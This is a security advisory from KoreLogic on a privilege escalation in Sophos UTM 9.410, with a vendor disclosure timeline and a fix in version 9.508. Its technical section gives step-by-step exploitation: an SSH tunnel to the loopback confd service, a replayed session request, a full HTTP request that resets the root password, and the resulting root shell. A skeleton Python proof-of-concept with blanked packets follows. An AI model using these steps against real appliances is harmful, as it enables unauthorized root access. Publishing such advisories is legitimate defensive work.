KL-001-2018-007 : Sophos UTM 9 loginuser Privilege Escalation via confd Service

Title: Sophos UTM 9 loginuser Privilege Escalation via confd Service
Advisory ID: KL-001-2018-007
Publication Date: 2018.03.02
Publication URL: 

1. Vulnerability Details

     Affected Vendor: Sophos
     Affected Product: UTM 9
     Affected Version: 9.410
     Platform: Embedded Linux
     CWE Classification: CWE-306: Missing Authentication for Critical Function 
(SID generation)
     Impact: Privilege Escalation
     Attack vector: SSH

2. Vulnerability Description

     The attacker must know the password for the loginuser
     account. The confd client is not available to the loginuser
     account. However, the running service is accessible over
     a network port on the loopback interface. By replaying the
     network traffic required to obtain a SID from this service it
     is possible to escalate privileges to root.

3. Technical Description

     1. Obtain the a privileged session token

     $ ssh -Nf -L loginuser@
     loginuser@'s password:
     $ python kl-loginuser-confd-priv_esc.py

     2. Using that session token, set the root password

     POST /webadmin.plx HTTP/1.1
     User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:52.0) 
Gecko/20100101 Firefox/52.0
     Accept: text/javascript, text/html, application/xml, text/xml, */*
     Accept-Language: en-US,en;q=0.5
     X-Requested-With: XMLHttpRequest
     Content-Type: application/json; charset=UTF-8
     Content-Length: 422
     Cookie: SID=pojiZSqWEUAUDNIQtSop
     DNT: 1
     Connection: close

     {"objs": [{"ack": null, "elements": {"root_pw_1": "korelogic", 
"root_pw_2": "korelogic", "loginuser_pw_1":
"loginuser", "loginuser_pw_2": "loginuser"}, "FID": "system_settings_shell"}], 
"SID": "pojiZSqWEUAUDNIQtSop", "browser":
"gecko", "backend_version": "2", "loc": "english", "_cookie": null, "wdebug": 
0, "RID":
"1490305723111_0.8089407793028881", "current_uuid": 
"2844879a-e014-11da-b3ae-0014221e9eba", "ipv6": false}

     HTTP/1.1 200 OK
     Date: Thu, 23 Mar 2017 15:33:53 GMT
     Server: Apache
     Expires: Thursday, 01-Jan-1970 00:00:01 GMT
     Pragma: no-cache
     X-Frame-Options: SAMEORIGIN
     X-Content-Type-Option: nosniff
     X-XSS-Protection: 1; mode=block
     Vary: Accept-Encoding
     Connection: close
     Content-Type: application/json; charset=utf-8
     Content-Length: 178895

 over 9000]

     3. Look for success message.

     "objs":[{"success":[{"text":"Shell user password(s) set successfully."}]

     4. Profit.

     loginuser@[redacted]:/home/login > su
     [redacted]:/home/login # id
     uid=0(root) gid=0(root) groups=0(root),890(xorp)

4. Mitigation and Remediation Recommendation

     The vendor has addressed this vulnerability in version
     9.508. Release notes and download instructions can be found at:


5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.07.21 - KoreLogic submits vulnerability details to Sophos.
     2017.07.21 - Sophos acknowledges receipt.
     2017.09.01 - 30 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2017.09.15 - KoreLogic requests an update on the status of this and
                  other vulnerabilities reported to Sophos.
     2017.09.18 - Sophos informs KoreLogic that this issue will require
                  additional engineering and requests an extension of
                  the disclosure timeline.
     2017.09.25 - 45 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2017.11.07 - 75 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2017.12.14 - 100 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2018.01.12 - KoreLogic requests an update from Sophos.
     2018.01.15 - Sophos informs KoreLogic that the expected release date
                  for the UTM 9.5 MR 6 version containing the mitigation
                  is the middle of February.
     2018.01.16 - 120 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2018.02.28 - 150 business days have elapsed since the vulnerability
                  was reported to Sophos.
     2018.03.01 - UTM 9.508 released by Sophos.
     2018.03.02 - KoreLogic public disclosure.

7. Proof of Concept

from socket import socket,AF_INET,SOCK_STREAM

class Exploit:
    def __init__(self):
        self.host = ''
        self.port = 4472
        self.connected = False
        self.s = None
        return None
    def disconnect(self):
        return True
    def send_trigger(self):
        packet_one =
        packet_two =
        packet_three =
        print self.s.recv(4096).strip()
        return True
    def connect(self):
        self.s = socket(AF_INET, SOCK_STREAM)
        self.connected = True
        return True
    def run(self):
        return True

if __name__=="__main__":

The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.

Our public vulnerability disclosure policy is available at:

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